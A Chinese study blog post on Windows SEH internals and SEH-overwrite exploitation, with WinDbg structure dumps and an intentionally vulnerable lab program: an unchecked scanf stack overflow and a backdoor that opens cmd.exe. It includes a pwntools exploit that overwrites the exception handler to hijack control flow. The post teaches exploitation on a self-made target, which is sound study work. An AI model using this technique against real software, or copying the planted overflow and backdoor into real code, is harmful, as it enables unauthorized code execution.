这篇开始学习SEH
之前的文章链接:
结构化异常处理(Structured Exception Handling,简称 SEH)是一种Windows 操作系统对错误或异常提供的处理技术,用于处理异常事件的程序控制结构
通俗易懂的来说就是__try,__except,__finally
这些东西
这个也困惑了我很长时间,网上的文献大部分都是直接讲的里面的结构体,不知道在程序里如果表现,如何通过调试去看这个SEH
用下面的程序来调试,记得关掉SAFESEH
#define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<windows.h> #include<stdlib.h> void backdoor() { system("cmd.exe"); } int main(int argc, char **argv) { setbuf(stdin, 0); setbuf(stdout, 0); int x = 100; int y = 0; int z; char tmp[0x20]; _try { printf("0x%p\n", backdoor); scanf("%s", tmp); z = x / y; } _except (1) { printf("seh"); } return 0; }
z = x / y;
这里是除数是0引起的异常,所以正常运行之后还会输出seh
.text:004119B0 .text:004119B0 ; __unwind { // __except_handler4 .text:004119B0 55 push ebp .text:004119B1 8B EC mov ebp, esp .text:004119B3 6A FE push 0FFFFFFFEh .text:004119B5 68 C8 91 41 00 push offset stru_4191C8 .text:004119BA 68 80 1F 41 00 push offset __except_handler4 .text:004119BF 64 A1 00 00 00 00 mov eax, large fs:0 .text:004119C5 50 push eax .text:004119C6 81 C4 E8 FE FF FF add esp, 0FFFFFEE8h .text:004119CC 53 push ebx .text:004119CD 56 push esi .text:004119CE 57 push edi
通过ida打开发现push offset __except_handler4
,这个是将处理结构异常函数的地址入栈
用windbg打开此程序进行调试,在程序头下个断点
test!main: 001419b0 55 push ebp 001419b1 8bec mov ebp, esp 001419b3 6afe push 0FFFFFFFEh 001419b5 68c8911400 push 1491C8h 001419ba 68801f1400 push 141F80h 001419bf 64a100000000 mov eax, dword ptr fs:[00000000h]
然后dt去查看0x141F80这个定义
0:000> dt 0x141F80 _except_handler4 _EXCEPTION_DISPOSITION test!_except_handler4+0( _EXCEPTION_RECORD*, _EXCEPTION_REGISTRATION_RECORD*, _CONTEXT*, void*)
可以看到会接收4个参数输入,并且该异常处理函数由系统调用,是一个回调函数,看第一个参数
0:000> dt _EXCEPTION_RECORD test!_EXCEPTION_RECORD +0x000 ExceptionCode : Uint4B +0x004 ExceptionFlags : Uint4B +0x008 ExceptionRecord : Ptr32 _EXCEPTION_RECORD +0x00c ExceptionAddress : Ptr32 Void +0x010 NumberParameters : Uint4B +0x014 ExceptionInformation : [15] Uint4B
重要的就两个ExceptionCode
指出异常类型、ExceptionFlags
表示发生异常的代码地址,接着看第二个参数
0:000> dt _EXCEPTION_REGISTRATION_RECORD test!_EXCEPTION_REGISTRATION_RECORD +0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
该结构体主要用于描述线程异常处理句柄的地址,Next
指向下一个结构的指针,Handler
当前异常处理回调函数的地址,看一下非常经典的图
TIB第一个字段就保存了SEH链表的头部指针,SEH链表中其他的节点存储在栈中,如果Next的成员的值为0xFFFFFFFF则表示在最后一个结点,当发生异常会按照顺序依次传递,直到有异常处理器处理
接着看一下第三个参数_CONTEXT
0:000> dt _CONTEXT test!_CONTEXT +0x000 ContextFlags : Uint4B +0x004 Dr0 : Uint4B +0x008 Dr1 : Uint4B +0x00c Dr2 : Uint4B +0x010 Dr3 : Uint4B +0x014 Dr6 : Uint4B +0x018 Dr7 : Uint4B +0x01c FloatSave : _FLOATING_SAVE_AREA +0x08c SegGs : Uint4B +0x090 SegFs : Uint4B +0x094 SegEs : Uint4B +0x098 SegDs : Uint4B +0x09c Edi : Uint4B +0x0a0 Esi : Uint4B +0x0a4 Ebx : Uint4B +0x0a8 Edx : Uint4B +0x0ac Ecx : Uint4B +0x0b0 Eax : Uint4B +0x0b4 Ebp : Uint4B +0x0b8 Eip : Uint4B +0x0bc SegCs : Uint4B +0x0c0 EFlags : Uint4B +0x0c4 Esp : Uint4B +0x0c8 SegSs : Uint4B +0x0cc ExtendedRegisters : [512] UChar
这个结构体是用来备份CPU奇存器的值,因为多线程环境下需要这样做。每个线程内部都拥有1个CONTEXT结构体。CPU暂时离开当前线程去运行其他线程时,CPU寄存器的值就会保存到当前线程的CONTEXT结构体;CPU再次运行该线程时,会使用保存在CONTEXT结构体的值来覆盖CPU奇存器的值,然后从之前暂停的代码处继续执行。通过这种方式 ,OS可以在多线程环境下安全运行各线程
在经典图那里有没有发现发生异常之后有一个TIB,那么TIB又是什么呢
TIB
(Thread Information Block
,线程信息块)是保存线程基本信息的数据结构,它存在于x86
的机器上,它也被称为是Win32
的TEB
(Thread Environment Block
,线程环境块)。TIB/TEB
是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TIB/TEB
0:000> dt _NT_TIB test!_NT_TIB +0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 StackBase : Ptr32 Void +0x008 StackLimit : Ptr32 Void +0x00c SubSystemTib : Ptr32 Void +0x010 FiberData : Ptr32 Void +0x010 Version : Uint4B +0x014 ArbitraryUserPointer : Ptr32 Void +0x018 Self : Ptr32 _NT_TIB
第一个就是指向当前线程的SEH,StackBase和StackLimit
分别指向当前线程所使用的栈的栈底和栈顶,SubSystemTib
是子系统,Self
指向自己
现在知识了SEH长什么样子了,但是如何通过SEH来攻击程序呢
可以通过攻击程序的异常处理,想办法触发一个异常,程序就会转入异常处理,如果异常处理函数指针被我们覆盖,那么我们就可以通过劫持 SEH 来控制程序的后续流程
也就是去覆盖上面的_except_handler4
,如果把_except_handler4
给覆盖成backdoor
,在异常处理的时候就会去执行backdoor
,现在还有一个问题那就是_except_handler4
在栈上的哪个地方
0:000> dc 0x010ffc64 - 0x64 010ffc00 77b45f8b 77cfac49 010ffc10 00000000 ._.wI..w........ 010ffc10 00000000 010ffc2c 51802922 1b406328 ....,...").Q([email protected] 010ffc20 010ffc30 5179bff5 00000000 010ffc3c 0.....yQ....<... 010ffc30 010ffc40 517bffc6 00000000 00000000 @.....{Q........ 010ffc40 010ffc4c 517c02be 518e3074 010ffc60 L.....|Qt0.Q`... 010ffc50 517ffbd2 010ffcd0 00141f80 001491c8 ...Q............ 010ffc60 fffffffe 010ffc84 00142403 00000001 .........$...... 010ffc70 012c4d88 012c9510 00000001 012c4d88 .M,...,......M,.
还是上面那个程序0x010ffc64
是ebp,0x141F80
是_except_handler4
,可以看到在ebp - 0xc
的地方是_except_handler4
,刚好这个程序里有一个栈溢出,所以我们可以控制handler,程序开了GS保护但是没有用,因为先跑去处理异常了
所以现在写exp来验证一下
from pwn import * from time import sleep context.log_level = 'debug' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') r = remote('192.168.10.106', 1234) r.recvuntil('0x') backdoor_addr = int(r.recv(8), 16) li('backdoor_addr = ' + hex(backdoor_addr)) p1 = b'a' * (0x64 - 0xc) + p32(backdoor_addr) r.sendline(p1) r.interactive()
弹了一个内存损坏的错误,点重试才可以利用成功,所以思考了一下内存损坏的错误也是在异常里,验证一下,把除0数学错误给去掉
#define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<windows.h> #include<stdlib.h> void backdoor() { system("cmd.exe"); } int main(int argc, char **argv) { setbuf(stdin, 0); setbuf(stdout, 0); int x = 100; int y = 0; int z; char tmp[0x20]; _try { printf("0x%p\n", backdoor); scanf("%s", tmp); } _except (1) { printf("seh"); } return 0; }
最后依旧成功利用,所以以后控制SEH之后可以直接引发一些异常即可
这里主要学习了SEH,如何去控制SEH来达到劫持程序流的目的,攻击SEH是当年最流行的手法,所以window也发布了对应的加固手法,SAFESEH和SEHOP,后面将会学习SEHOP和SAFESEH的利用
逆向工程核心原理
https://blog.csdn.net/azraelxuemo/article/details/122873073
https://codeantenna.com/a/wBulZH0YEb
https://a1ex.online/2020/10/15/Windows-Pwn%E5%AD%A6%E4%B9%A0/